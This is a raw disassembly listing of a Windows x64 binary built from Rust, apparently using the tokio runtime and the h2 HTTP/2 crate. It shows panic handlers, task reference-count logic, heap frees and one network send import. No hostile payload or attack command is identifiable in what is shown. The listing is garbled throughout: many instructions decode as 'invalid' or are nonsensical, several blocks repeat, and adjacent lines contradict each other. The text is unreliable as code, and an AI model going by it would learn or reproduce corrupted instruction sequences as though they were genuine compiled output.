jmp 0x1400fee97
mov qword [rbp + 0x5d0], rdi
lea rax, [0x14001db60]
mov qword [rbp + 0x5d8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0xaa0], rax
mov qword [rbp + 0xaa8], 1
mov qword [rbp + 0xac0], 0
lea rax, [rbp + 0x5d0]
mov qword [rbp + 0xab0], rax
mov qword [rbp + 0xab8], 1
mov byte [rbp + 0xc31], 0
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0xaa0]
call fcn.1401869b0
jmp 0x1400fee97
lea rax, [rbp + 0xaa4]
mov qword [rbp + 0x820], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc4c], 0
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
lea rax, [rbp + 0xaa4]
mov qword [rbp + 0x820], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc4c], 0
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
lea rax, [rbp + 0xaa4]
mov qword [rbp + 0x820], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc4c], 0
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
lea rax, [rbp + 0xaa4]
mov qword [rbp + 0x820], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc4c], 0
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
lea rax, [rbp + 0xaa4]
mov qword [rbp + 0x820], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc4c], 0
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
lea rax, [rbp + 0xaa4]
mov qword [rbp + 0x820], rax
lea rax, [0x14001db60]
mov qword [rbp + 0x828], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], 1
mov qword [rbp + 0x990], 0
lea rax, [rbp + 0x820]
mov qword [rbp + 0x980], rax
mov qword [rbp + 0x988], 1
mov byte [rbp + 0xc4c], 0
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x970]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp], r14
lea rax, [0x14001db60]
mov qword [rbp + 8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x820], rax
mov qword [rbp + 0x828], 1
mov qword [rbp + 0x840], 0
mov rax, rbp
mov qword [rbp + 0x830], rax
mov qword [rbp + 0x838], 1
mov byte [rbp + 0xc2f], 1
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x820]
call fcn.1401869b0
jmp 0x1400fee97
mov qword [rbp], r14
lea rax, [0x14001db60]
mov qword [rbp + 8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rbp + 0x820], rax
mov qword [rbp + 0x828], 1
mov qword [rbp + 0x840], 0
mov rax, rbp
mov qword [rbp + 0x830], rax
mov qword [rbp + 0x838], 1
mov byte [rbp + 0xc2f], 0
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_store.rsH
lea rcx, [rbp + 0x820]
call fcn.1401869b0
jmp 0x1400fee97
mov byte [rbp + 0xc2f], 0
lea rcx, [0x1401bb4d3]
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.22_srcproto_streams_buffer.rs
mov edx, 0xb
call fcn.140187140
jmp 0x1400fee97
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
lea r8, [0x1401bb538]
mov edx, 0x28
call fcn.140186b70
ud2
pop rbp
ret
mov rax, qword [rax + 0x10]
mov r8, qword [rcx + 0x20]
add rcx, 0x28
jmp rax
test rax, rax
jmp rax
add byte [rdi], cl
sub dword [rsp + 0xb0], esi
mov rsi, rdx
mov rax, qword [rcx]
mov rax, qword [rax]
movdqu xmm6, xmmword [rdx]
mov edi, dword [rdx + 0x34]
mov ecx, edi
test dil, 4
je 0x1401040e7
invalid
invalid
mov ecx, edi
or ecx, 8
movq rdx, xmm6
movd edx, mm6
test rdx, rdx
jne 0x1401040e7
mov qword [rsi], 1
mov qword [rsi + 8], shutdown
add byte [rax], al
add byte [rax - 0x39], cl
or byte [rdx], r10b
add byte [rax], al
add byte [rbx + 0x4e8904c9], al
add al, 0x89
invalid
or ecx, 4
mov dword [rsi + 0x34], ecx
xor al, 0x41
mov eax, 0x81
xor al, 0x41
mov eax, 0x81
mov edx, 0x30
mov r9, rax
nop dword [rax + rax]
invalid
add byte [rax], r8b
invalid
mov rcx, r8
shr r9, 4
mov r8d, eax
and r8b, 0xf
loopne 0x14010411d
loopne 0x14010411d
cmp r8b, 0xa
mov r10d, 0x57
cmovb r10d, edx
add r10b, r8b
add dl, al
mov byte [rsp + rcx + 0x2e], r10b
lea r8, [rcx - 1]
cmp rax, 0x10
mov rax, r9
jae 0x140104100
add rcx, 0xfffffffffffffffe
cmp rcx, 0x80
ja 0x140104187
mov eax, 0x81
sub rax, r8
add rcx, rsp
add rcx, 0x30
xor byte [rax - 0x77], cl
and al, 0x28
invalid
xor byte [rax - 0x77], cl
and al, 0x28
invalid
mov qword [rsp + 0x20], rcx
lea r8, [0x1401ea6b8]
mov r9d, 2
add byte [rax], al
add byte [rax - 0x77], cl
int1
invalid
mov dl, 1
call fcn.140013720
invalid
push rbx
movq qword [rsi], mm6
mov dword [rsi + 0x34], edi
movaps xmm6, xmmword [rsp + 0xb0]
add rsp, 0xc8
pop rdi
pop rsi
ret
lea r8, str.librarycore_src_fmt_num.rs
mov edx, 0x80
call fcn.1401869f0
sub byte [rax], cl
add byte [rdi], cl
invalid
int3
loopne 0x1401041dc
add byte [rax], al
invalid
mov rdx, rax
and rdx, 0xfffffffffffffffa
or rdx, 1
retf 0x8901
rol ecx, 0xe9
invalid
rol ecx, 0xe9
add eax, 0xf001e183
and ecx, 1
lock cmpxchg qword [rdi], rdx
and ecx, 1
lock cmpxchg qword [rdi], rdx
je 0x140104218
test al, 4
je 0x1401045ee
invalid
test al, 3
je case.0x1400e9218.84
cmp rax, 0x3f
jbe 0x140104608
lea rdx, [rax - 0x40]
cmp rdx, 0x40
mov ecx, 0
adc rcx, 2
lock cmpxchg qword [rdi], rdx
jne 0x1401041ea
lea rax, [0x1401ef058]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
lea rax, [0x1401c6680]
mov qword [rbp + 0x1ea0], rax
mov qword [rbp + 0x1ea8], rdi
test al, 0x1e
add byte [rax], al
lea rax, [rdi + 0x20]
mov qword [rbp + 0x1ec8], rax
lea rax, [rbp + 0x1ea0]
lea eax, [rbp + 0x1ea0]
mov qword [rbp + 0x1eb0], rax
cmp dword [rdi + 0x30], 2
add cl, byte [rax - 0x77]
mov ebp, 0x1ed8
ja 0x140104656
mov rsi, qword [rdi + 0x28]
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
cmp eax, 1
je 0x1401042d9
test eax, eax
jne 0x140104344
invalid
mov dl, 0
add byte [rax], al
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb0]
lea rdx, [0x140165fa0]
call fcn.14014a0c0
mov eax, dword [0x14023c30c]
add eax, 0x13804e
add eax, 0x13804e
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
mov byte [rax + 0x100], 1
mov rdi, qword [rbp + 0x1ed8]
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov rcx, qword [rax + 0xd0]
mov qword [rbp + 0x1ed0], rcx
add byte [rax - 0x75], cl
mov al, bl
add byte [rax], al
invalid
mov qword [rbp + 0x1ec0], rcx
mov qword [rax + 0xd0], 1
mov dword [rax + 0xd0], 1
mov dword [rax + 0xd0], 1
mov qword [rax + 0xd8], rsi
jmp 0x14010434d
add bl, ch
xor dword [rax - 0x73], ecx
lea rcx, [rdi + 0x20]
mov qword [rbp - 0x60], 4
lea rdx, [rbp - 0x60]
lea edx, [rbp - 0x60]
lea rcx, [rdi + 0x20]
mov qword [rbp - 0x60], 4
lea rdx, [rbp - 0x60]
lea edx, [rbp - 0x60]
mov qword [rbp + 0x1ec8], rcx
mov qword [rbp + 0x1ed8], rdi
call fcn.140106aa0
jmp 0x140104595
xor eax, eax
mov qword [rbp + 0x1ed0], rax
lea rcx, [rdi + 0x30]
lea rdx, [rbp + 0x1eb0]
call fcn.1400e7c20
mov ebx, eax
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
ret
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
cmp eax, 1
mov rsi, qword [rbp + 0x1ec0]
je 0x1401043c9
test eax, eax
jne case.0x1400e23d9.126
mov eax, dword [0x14023c30c]
adc eax, dword [rax]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb0]
lea ecx, [rax + 0xb0]
lea rdx, [0x140165fa0]
call fcn.14014a0c0
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
rol esi, 0x80
add byte [rcx], al
add byte [rax], al
invalid
rol esi, 0x80
add byte [rcx], al
add byte [rax], al
add dword [rbx + 0x137f3d05], ecx
add byte [rbp + 0x48], ah
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x1ed0]
mov qword [rax + 0xd0], rcx
mov qword [rax + 0xd8], rsi
test bl, bl
je 0x14010452c
mov rdi, qword [rbp + 0x1ed8]
mov rax, qword [rdi]
mov eax, dword [rdi]
jmp 0x140104426
test rcx, rcx
test ecx, ecx
js 0x14010463c
add rcx, 0x40
mov dl, 1
lock cmpxchg qword [rdi], rcx
cmpxchg dword [rdi], ecx
cmpxchg dword [rdi], ecx
je 0x14010445f
test al, 1
je 0x140104622
test al, 0x20
jne 0x14010457d
test dword [rdi + 1], eax
add byte [rax], al
mov rcx, rax
and rcx, 0xfffffffffffffffe
test al, 4
jne 0x140104410
cmp rcx, 0x3f
jbe 0x140104608
add rcx, 0xffffffffffffffc0
cmp rcx, 0x40
setb dl
add dl, dl
lock cmpxchg qword [rdi], rcx
jne 0x140104426
cmp dl, 2
je case.0x140104226.3
add dh, byte [rbp + rsi*2 + 0xf]
mov dh, 0xc2
movzx eax, dl
cmp eax, 1
jne case.0x140104226.2
mov rcx, qword [rdi + 0x20]
add rcx, 0x10
mov rdx, rdi
mov r8b, 1
call fcn.140172550
invalid
add byte [rax - 0x39], cl
rol al, 0xff
invalid
push rax
xadd qword [rdi], rax
cmp rax, 0x3f
jbe 0x14010469c
add eax, dword [rdx]
add byte [rax], al
invalid
add eax, dword [rdx]
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x140104226.2
add byte [rax], al
add byte [rax], al
mov rcx, qword [rbp + 0x1ec8]
call fcn.1400bd0a0
mov rax, qword [rbp + 0x1ed8]
mov rax, qword [rax + 0xfc0]
test rax, rax
je 0x14010450d
mov rcx, qword [rbp + 0x1ed8]
mov rcx, qword [rcx + 0xfc8]
call qword [rax + 0x18]
jmp 0x14010450d
mov qword [rbp + 0x1ed8], rdi
lea rcx, [rdi + 0x20]
call fcn.1400bd0a0
mov rax, qword [rbp + 0x1ed8]
mov rax, qword [rax + 0xfc0]
test rax, rax
je 0x14010450d
mov rcx, qword [rbp + 0x1ed8]
mov rcx, qword [rcx + 0xfc8]
call qword [rax + 0x18]
mov rax, qword [rbp + 0x1ed8]
mov r8, qword [rax - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp case.0x140104226.2
mov qword [rbp + 0xf20], 4
lea rdx, [rbp + 0xf20]
mov rcx, qword [rbp + 0x1ec8]
call fcn.140106aa0
xor eax, eax
mov qword [rbp - 0x48], r8
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], rdx
mov qword [rbp - 0x60], 3
lea rdx, [rbp - 0x60]
mov rcx, qword [rbp + 0x1ec8]
call fcn.140106aa0
mov rsi, qword [rbp + 0x1ed8]
jmp 0x1401045d9
mov qword [rbp - 0x60], 4
lea rdx, [rbp - 0x60]
mov rcx, qword [rbp + 0x1ec8]
call fcn.140106aa0
mov rsi, qword [rbp + 0x1ed8]
mov rax, qword [rsi + 0x28]
xor ecx, ecx
mov qword [rbp + 0xf30], rcx
mov qword [rbp + 0xf40], rax
mov qword [rbp + 0xf28], 1
mov qword [rbp + 0xf20], 3
lea rdx, [rbp + 0xf20]
mov rcx, qword [rbp + 0x1ec8]
call fcn.140106aa0
mov rcx, rsi
call fcn.140105130
nop
add rsp, 0x1f88
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_task_state.rs
lea r8, [0x1401c6308]
mov edx, 0x24
call fcn.140186b70
ud2
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401c6668]
mov edx, 0x26
call fcn.140186b70
ud2
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x1401c6348]
mov edx, 0x23
call fcn.140186b70
ud2
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x1401c6628]
mov edx, 0x2f
call fcn.140186b70
ud2
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rbp + 0xf20], rax
mov qword [rbp + 0xf28], 1
lea rax, [rbp + 0x1eb8]
mov qword [rbp + 0xf30], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xf38], xmm0
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_taskcore.rs
lea rcx, [rbp + 0xf20]
call fcn.1401869b0
ud2
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401c65a0]
mov edx, 0x27
call fcn.140186b70
ud2
pop rdi
pop rsi
pop rbp
ret
sub rsp, 0x20
lea rbp, [rdx + 0x80]
call fcn.1401641d0
ud2
sub rsp, 0x20
lea rbp, [rdx + 0x80]
mov rax, qword [rbp + 0xf88]
add byte [rax], al
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp + 0xf90]
add al, ch
and bh, dh
out dx, eax
call qword [rax + 0x20c48348]
add al, ch
and bh, dh
out dx, eax
call qword [rax + 0x20c48348]
pop rdi
pop rsi
pop rbp
ret
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x80]
mov rax, qword [rbp + 0xf98]
mov rcx, qword [rax + 0xfc0]
mov rdx, qword [rax + 0xfc8]
call fcn.140023540
nop
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
nop dword [rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp + 0xf98]
add byte [rax], al
add byte [rax], al
call fcn.1400d9c80
nop
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
int3
clc
invalid
invalid
ror dword [rax - 0x77], 0x55
invalid
clc
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
call 0x1300d337a
call qword [rax + 0x20c48348]
pop rbp
ret
or byte [rax], al
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1ee0], 0xfffffffffffffffe
invalid
invalid
invalid
dec dword [rax - 0x77]
mov edi, ecx
invalid
mov rax, qword [rcx]
jmp 0x1401055ea
mov rdx, rax
and rdx, 0xfffffffffffffffa
or rdx, 1
mov ecx, eax
shr ecx, 5
and ecx, 1
lock cmpxchg qword [rdi], rdx
je case.0x140104226.4
test al, 4
je 0x1401059ea
test al, 3
je case.0x14014c89f.84
cmp rax, 0x3f
jbe 0x140105a04
lea rdx, [rax - 0x40]
cmp rdx, 0x40
mov ecx, 0
adc rcx, 2
lock cmpxchg qword [rdi], rdx
jne 0x1401055ea
lea rax, [0x1401ef068]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
sar edi, 0xe1
lea rax, [0x1401c6680]
mov qword [rbp + 0x1ea0], rax
add byte [rax - 0x77], cl
mov ebp, 0x1ea8
lea rax, [rdi + 0x20]
mov qword [rbp + 0x1ec8], rax
invalid
add byte [rax], al
lea rax, [rbp + 0x1ea0]
add byte [rax], al
mov qword [rbp + 0x1eb0], rax
cmp dword [rdi + 0x30], 2
mov qword [rbp + 0x1ed8], rdi
ja 0x140105a52
mov rsi, qword [rdi + 0x28]
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x100]
cmp eax, 1
je 0x1401056d9
invalid
test eax, eax
jne 0x140105744
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb0]
lea rdx, [0x140165fa0]
call fcn.14014a0c0
add al, 0
add al, 0
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x100], 1
add byte [rcx], al
add byte [rax], al
add dword [rax - 0x75], ecx
mov ebp, 0x1ed8
fcomp dword [rsi]
add byte [rax], al
fcomp dword [rsi]
add byte [rax], al
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rcx, qword [rax + 0xd0]
mov qword [rbp + 0x1ed0], rcx
invalid
rcr byte [rsi], 1
add byte [rax], al
mov rcx, qword [rax + 0xd8]
mov qword [rbp + 0x1ec0], rcx
invalid
add byte [rax], al
mov qword [rax + 0xd0], 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov al, 0xd8
add byte [rax], al
add bl, ch
invalid
invalid
invalid
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov al, 0xd8
add byte [rax], al
add bl, ch
xor dword [rax - 0x73], ecx
lea rcx, [rdi + 0x20]
mov qword [rbp - 0x60], 4
lea rdx, [rbp - 0x60]
lea rcx, [rdi + 0x20]
mov qword [rbp - 0x60], 4
lea rdx, [rbp - 0x60]
mov qword [rbp + 0x1ec8], rcx
mov qword [rbp + 0x1ed8], rdi
call fcn.140106aa0
jmp 0x140105991
xor eax, eax
mov qword [rbp + 0x1ed0], rax
ror byte [rax - 0x77], 0x85
rcr byte [rsi], 1
add byte [rax], al
lea rcx, [rdi + 0x30]
lea rdx, [rbp + 0x1eb0]
invalid
add byte [rax], al
call fcn.1400e7c20
mov ebx, eax
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
cmp eax, 1
mov rsi, qword [rbp + 0x1ec0]
add byte [rax], al
je 0x1401057c9
test eax, eax
jne 0x1401057f1
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb0]
lea rdx, [0x140165fa0]
call fcn.14014a0c0
add al, 0
add al, 0
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax - 0x75], cl
add al, 0xc1
mov byte [rax + 0x100], 1
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x1ed0]
mov ecx, dword [rbp + 0x1ed0]
mov ecx, dword [rbp + 0x1ed0]
mov qword [rax + 0xd0], rcx
mov qword [rax + 0xd8], rsi
fadd dword [rax]
add byte [rax], al
test bl, bl
je 0x140105928
mov rdi, qword [rbp + 0x1ed8]
mov rax, qword [rdi]
jmp 0x140105826
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
leave
test rcx, rcx
js 0x140105a38
add rcx, 0x40
mov dl, 1
lock cmpxchg qword [rdi], rcx
je 0x14010585f
test al, 1
je 0x140105a1e
test al, 0x20
jne 0x140105979
mov rcx, rax
and rcx, 0xfffffffffffffffe
test al, 4
jne 0x140105810
cmp rcx, 0x3f
jbe 0x140105a04
add rcx, 0xffffffffffffffc0
cmp rcx, 0x40
rol eax, 0x48
cmp ecx, 0x40
setb dl
add dl, dl
lock cmpxchg qword [rdi], rcx
jne 0x140105826
cmp dl, 2
je 0x1401058d5
movzx eax, dl
cmp eax, 1
jne 0x1401059dd
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
mov rcx, qword [rbp + 0x1ec8]
mov rdx, rdi
call fcn.1401706b0
mov rax, 0xffffffffffffffc0
rol al, 0xff
invalid
push rax
xadd qword [rdi], rax
cmp rax, 0x3f
jbe 0x140105a98
add eax, dword [rdx]
add byte [rax], al
rol al, 0xff
invalid
add eax, dword [rdx]
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1401059dd
mov rcx, qword [rbp + 0x1ec8]
call fcn.1400bcf00
mov rax, qword [rbp + 0x1ed8]
mov rax, qword [rax + 0xfc0]
test rax, rax
je 0x140105909
mov rcx, qword [rbp + 0x1ed8]
fcomp dword [rsi]
add byte [rax], al
mov rcx, qword [rcx + 0xfc8]
call qword [rax + 0x18]
jmp 0x140105909
mov qword [rbp + 0x1ed8], rdi
lea rcx, [rdi + 0x20]
call fcn.1400bcf00
mov rax, qword [rbp + 0x1ed8]
mov rax, qword [rax + 0xfc0]
test rax, rax
je 0x140105909
mov rcx, qword [rbp + 0x1ed8]
mov rcx, qword [rcx + 0xfc8]
call qword [rax + 0x18]
mov rax, qword [rbp + 0x1ed8]
mov r8, qword [rax - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1401059dd
mov qword [rbp + 0xf20], 4
lea rdx, [rbp + 0xf20]
mov rcx, qword [rbp + 0x1ec8]
call fcn.140106aa0
xor eax, eax
mov qword [rbp - 0x48], r8
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], rdx
mov qword [rbp - 0x60], 3
lea rdx, [rbp - 0x60]
mov rcx, qword [rbp + 0x1ec8]
call fcn.140106aa0
mov rsi, qword [rbp + 0x1ed8]
jmp 0x1401059d5
mov qword [rbp - 0x60], 4
lea rdx, [rbp - 0x60]
mov rcx, qword [rbp + 0x1ec8]
call fcn.140106aa0
mov rsi, qword [rbp + 0x1ed8]
mov rax, qword [rsi + 0x28]
xor ecx, ecx
mov qword [rbp + 0xf30], rcx
mov qword [rbp + 0xf40], rax
mov qword [rbp + 0xf28], 1
mov qword [rbp + 0xf20], 3
lea rdx, [rbp + 0xf20]
mov rcx, qword [rbp + 0x1ec8]
invalid
add byte [rax], al
call fcn.140106aa0
invalid
mov rcx, rsi
call fcn.140106700
nop
add rsp, 0x1f88
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_task_state.rs
lea r8, [0x1401c6308]
mov edx, 0x24
call fcn.140186b70
ud2
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401c6668]
mov edx, 0x26
call fcn.140186b70
ud2
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x1401c6348]
mov edx, 0x23
call fcn.140186b70
ud2
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x1401c6628]
mov edx, 0x2f
call fcn.140186b70
ud2
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rbp + 0xf20], rax
mov qword [rbp + 0xf28], 1
lea rax, [rbp + 0x1eb8]
mov qword [rbp + 0xf30], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xf38], xmm0
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_taskcore.rs
lea rcx, [rbp + 0xf20]
call fcn.1401869b0
ud2
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401c65a0]
mov edx, 0x27
call fcn.140186b70
ud2
mov edx, dword [rax + 0x30]
push rax
invalid
nop word cs:[rax + rax]
xor byte [rax], al
add byte [rax], al
add al, dh
lock and qword [rdx + 0x40], 0xfffffffffffffffd
add edi, edi
push rax
or byte [rax - 0x75], cl
call 0x13011fc72
dec qword [rax]
mov byte [rax], al
add byte [rax], al
adc byte [rbp - 0x7b], cl
sal byte [rdx + rdx + 0x4c], 0x8b
adc byte [rcx - 1], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
loopne 0x140107160
invalid
add ecx, 0x10
adc cl, byte [rax - 0x75]
or byte [rax - 0x75], cl
push rdx
adc byte [rax - 0x7d], cl
invalid
invalid
nop word cs:[rax + rax]
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0x28]
call fcn.14001e250
nop
add rsp, 0x20
pop rbp
ret
nop word cs:[rax + rax]
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rsp
and al, 0x10
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0x60]
call fcn.1400bc4c0
nop
add rsp, 0x20
pop rbp
ret
clc
invalid
cmp byte [rdi], r9b
adc dword [rsi + 0x28], eax
invalid
invalid
lea edx, [rdi + 0x40]
sbb byte [rdi], cl
adc dword [rsi + 8], eax
ror byte [rdi], 1
adc byte [rbp - 0x20], cl
pop rdi
pop rsi
pop rbp
ret
nop word cs:[rax + rax]
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
sub rsp, 0x20
lea rbp, [rdx + 0x70]
lea rcx, [rbp - 0x30]
shr r8b, 1
invalid
invalid
idiv bh
nop
add rsp, 0x20
shr al, 1
invalid
pop rdi
pop rsi
pop rbp
ret
int3
int3
insb byte [rdi], dx
and al, 0x30
clc
invalid
clc
add esi, dword [rsi + rdx - 0x7d]
clc
add al, 0x75
add rcx, 0x270
invalid
add byte [rax - 0x7d], cl
invalid
sal dword [rax + 2], 0
add al, ch
enter reloc.WS2_32.dll_send, 0
invalid
add ecx, 0x4c8
idiv bh
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
sub rsp, 0x20
lea rbp, [rdx + 0x30]
lea ebp, [rdx + 0x30]
lea ebp, [rdx + 0x30]
mov rcx, qword [rbp - 0x10]
add rcx, 0x4c8
call fcn.14006b990
nop
add rsp, 0x20
and byte [rbp - 0x3d], bl
and byte [rbp - 0x3d], bl
int3
int3
int3
sub esp, 0x30
mov dword [rbp - 8], 0xfffffffe
invalid
xor byte [rbp - 0x17], bl
push 0x48000000
mov dword [rbp - 0x10], ecx
